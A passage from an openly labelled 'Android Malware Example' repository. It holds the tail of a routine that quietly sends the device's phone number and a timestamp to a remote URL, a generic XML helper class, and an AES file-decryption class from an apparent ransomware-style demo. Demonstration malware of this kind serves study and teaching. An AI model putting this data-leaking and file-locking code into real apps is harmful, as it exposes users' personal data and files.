| stringBuilder.append("&phone="+Phone); 69 | stringBuilder.append("&date="+formattedDate); 70 | stringBuilder.append("&time="+formattedTime); 71 | 72 | try { 73 | 74 | URL obj = new URL(stringBuilder.toString()); 75 | 76 | HttpURLConnection con = (HttpURLConnection) obj.openConnection(); 77 | con.setRequestMethod("GET"); 78 | 79 | con.setRequestProperty("Accept-Charset", "UTF-8"); 80 | 81 | // System.out.println("\nSending request to URL : " + stringBuilder); 82 | // System.out.println("Response Code : " + con.getResponseCode()); 83 | // System.out.println("Response Message : " + con.getResponseMessage()); 84 | 85 | BufferedReader in = new BufferedReader( 86 | new InputStreamReader(con.getInputStream())); 87 | String line; 88 | StringBuffer response = new StringBuffer(); 89 | 90 | while ((line = in.readLine()) != null) { 91 | response.append(line); 92 | } 93 | in.close(); 94 | 95 | // System.out.println(response.toString()); 96 | con.disconnect(); 97 | 98 | } catch (Exception ex){ 99 | Log.d("BGMonitor_WritePhone",ex.toString()); 100 | } 101 | 102 | 103 | } 104 | 105 | } 106 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/XmlUtils.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | /* 23 | * Developer : Darryl Burke (darrylb@burke-consulting.net) 24 | * Date : 01/08/2012 25 | * All code (c)2012 Burke Consulting. all rights reserved 26 | */ 27 | 28 | import android.util.Log; 29 | 30 | import org.w3c.dom.Document; 31 | import org.w3c.dom.Element; 32 | import org.w3c.dom.NamedNodeMap; 33 | import org.w3c.dom.Node; 34 | import org.w3c.dom.NodeList; 35 | import org.xml.sax.SAXException; 36 | import org.xmlpull.v1.XmlSerializer; 37 | 38 | import java.io.FileInputStream; 39 | import java.io.FileNotFoundException; 40 | import java.io.IOException; 41 | import java.io.InputStream; 42 | 43 | import javax.xml.parsers.DocumentBuilder; 44 | import javax.xml.parsers.DocumentBuilderFactory; 45 | import javax.xml.parsers.ParserConfigurationException; 46 | 47 | 48 | public class XmlUtils { 49 | 50 | public Document LoadXMLDoc(String doc) { 51 | 52 | // Log.i("NSCModule", "Loading Xml:" + doc); 53 | 54 | Document tmpdoc = null; 55 | InputStream _objdoc = null; 56 | 57 | try { 58 | 59 | _objdoc = new FileInputStream(doc); 60 | 61 | DocumentBuilderFactory doc_build_fact = DocumentBuilderFactory 62 | .newInstance(); 63 | DocumentBuilder doc_builder = doc_build_fact 64 | .newDocumentBuilder(); 65 | 66 | //Log.i("NSCModule", "PreParse Xml:"); 67 | 68 | tmpdoc = doc_builder.parse(_objdoc); 69 | 70 | // Log.i("NSCModule", "PostParse Xml:"); 71 | 72 | } catch (FileNotFoundException e) { 73 | Log.i("LMSModule", "XML Load Exception:" + e.toString()); 74 | 75 | // TODO Auto-generated catch block 76 | // return tmpdoc; 77 | } catch (ParserConfigurationException e) { 78 | Log.i("LMSModule", "XML Load Exception:" + e.toString()); 79 | 80 | // TODO Auto-generated catch block 81 | // e.printStackTrace(); 82 | } catch (SAXException e) { 83 | Log.i("LMSModule", "XML Load Exception:" + e.toString()); 84 | 85 | // TODO Auto-generated catch block 86 | // e.printStackTrace(); 87 | } catch (IOException e) { 88 | Log.i("LMSModule", "XML Load Exception:" + e.toString()); 89 | 90 | // TODO Auto-generated catch block 91 | // e.printStackTrace(); 92 | } 93 | return tmpdoc; 94 | 95 | } 96 | 97 | 98 | public String getAttr(Element node, String attr) { 99 | return getAttr((Node) node, attr); 100 | } 101 | 102 | public String getAttr(Node node, String attr) { 103 | NamedNodeMap Attrs = node.getAttributes(); 104 | 105 | Node _Desc = (Node) Attrs.getNamedItem(attr); 106 | // Log.i("FF:","Attr["+_Desc.getNodeName()+"]"+_Desc.getNodeValue()); 107 | return (_Desc.getNodeValue()); 108 | } 109 | 110 | public String getNodeAttr(NamedNodeMap attrnodes, String attr) { 111 | Node _Desc = (Node) attrnodes.getNamedItem(attr); 112 | String _d = _Desc.getNodeValue(); 113 | return (_d); 114 | } 115 | 116 | public static Element getChildByName(Node e, String name) { 117 | return getChildByName((Element) e, name); 118 | } 119 | 120 | public static Element getChildByName(Element e, String name) { 121 | NodeList l = e.getChildNodes(); 122 | if (l == null || l.getLength() == 0) 123 | return null; // not found 124 | 125 | for (int i = 0; i < l.getLength(); i++) { 126 | Node n = l.item(i); 127 | if ((n instanceof Element) && n.getNodeName().equals(name)) 128 | return (Element) n; 129 | } 130 | return null; // not found 131 | } 132 | 133 | public static String getInnerNodeText(Node e) { 134 | 135 | return (getInnerText((Element) e)); 136 | } 137 | 138 | public static String getInnerText(Node _a) { 139 | NodeList l = _a.getChildNodes(); 140 | if (l == null || l.getLength() == 0) 141 | return ""; // / empty 142 | 143 | int idx = 0; 144 | while (idx < l.getLength()) { 145 | if (l.item(idx).getNodeType() == Node.TEXT_NODE) 146 | return l.item(idx).getNodeValue(); 147 | idx++; 148 | } 149 | return ""; // no #text node found, so return empty string 150 | } 151 | 152 | public static void setInnerTextNode(Node e, String val) { 153 | NodeList l = e.getChildNodes(); 154 | if (l != null && l.getLength() > 0) { 155 | int idx = 0; 156 | while (idx < l.getLength()) { 157 | Node n = l.item(idx); 158 | if (n.getNodeType() == Node.TEXT_NODE) { 159 | // n.setNodeValue(val); // this isn't changing value!! 160 | Node text = e.getOwnerDocument().createTextNode(val); 161 | e.replaceChild(text, n); 162 | return; 163 | } 164 | idx++; 165 | } 166 | } 167 | // no #text Node, so create one 168 | Node text = e.getOwnerDocument().createTextNode(val); 169 | e.appendChild(text); 170 | } 171 | 172 | public static void setInnerText(Element e, String val) { 173 | NodeList l = e.getChildNodes(); 174 | if (l != null && l.getLength() > 0) { 175 | int idx = 0; 176 | while (idx < l.getLength()) { 177 | Node n = l.item(idx); 178 | if (n.getNodeType() == Node.TEXT_NODE) { 179 | // n.setNodeValue(val); // this isn't changing value!! 180 | Node text = e.getOwnerDocument().createTextNode(val); 181 | e.replaceChild(text, n); 182 | return; 183 | } 184 | idx++; 185 | } 186 | } 187 | // no #text Node, so create one 188 | Node text = e.getOwnerDocument().createTextNode(val); 189 | e.appendChild(text); 190 | } 191 | 192 | public static void writeElementTo(Element e, XmlSerializer s) 193 | throws IOException { 194 | s.startTag("", e.getNodeName()); 195 | if (e.hasAttributes()) { 196 | NamedNodeMap m = e.getAttributes(); 197 | for (int i = 0; i < m.getLength(); i++) { 198 | Node n = m.item(i); 199 | s.attribute("", n.getNodeName(), n.getNodeValue()); 200 | } 201 | } 202 | if (e.hasChildNodes()) { 203 | NodeList kids = e.getChildNodes(); 204 | for (int i = 0; i < kids.getLength(); i++) { 205 | Node n = kids.item(i); 206 | if (n.getNodeType() == Node.ELEMENT_NODE) 207 | writeElementTo((Element) n, s); // recursively write child 208 | // element 209 | else if (n.getNodeType() == Node.TEXT_NODE) { 210 | s.text(n.getNodeValue()); 211 | } 212 | } 213 | } 214 | 215 | s.endTag("", e.getNodeName()); 216 | } 217 | 218 | } 219 | 220 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/decrypt.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | 24 | import java.io.FileInputStream; 25 | import java.io.FileNotFoundException; 26 | import java.io.FileOutputStream; 27 | import java.io.IOException; 28 | import java.security.InvalidKeyException; 29 | import java.security.NoSuchAlgorithmException; 30 | import java.security.SecureRandom; 31 | 32 | import javax.crypto.Cipher; 33 | import javax.crypto.CipherInputStream; 34 | import javax.crypto.CipherOutputStream; 35 | import javax.crypto.KeyGenerator; 36 | import javax.crypto.NoSuchPaddingException; 37 | import javax.crypto.SecretKey; 38 | import javax.crypto.spec.SecretKeySpec; 39 | 40 | 41 | 42 | 43 | 44 | 45 | public class decrypt { 46 | 47 | 48 | 49 | public void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException, 50 | NoSuchPaddingException, InvalidKeyException { 51 | FileInputStream fis = new FileInputStream(ifile); 52 | 53 | FileOutputStream fos = new FileOutputStream(ofile); 54 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(), 55 | "AES"); 56 | Cipher cipher = Cipher.getInstance("AES"); 57 | cipher.init(Cipher.DECRYPT_MODE, sks); 58 | CipherInputStream cis = new CipherInputStream(fis, cipher); 59 | int b; 60 | byte[] d = new byte[8]; 61 | while ((b = cis.read(d)) != -1) { 62 | fos.write(d, 0, b); 63 | } 64 | fos.flush(); 65 | fos.close(); 66 | cis.close(); 67 | } 68 | 69 | 70 | } 71 | 72 | 73 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/malware.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/drawable/malware.png -------------------------------------------------------------------------------- /app/src/main/res/drawable/notification_warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/app/src/main/res/drawable/notification_warning.png -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_camera.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 17 | 18 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 11 | 12 | 21 | 22 | 30 | 31 |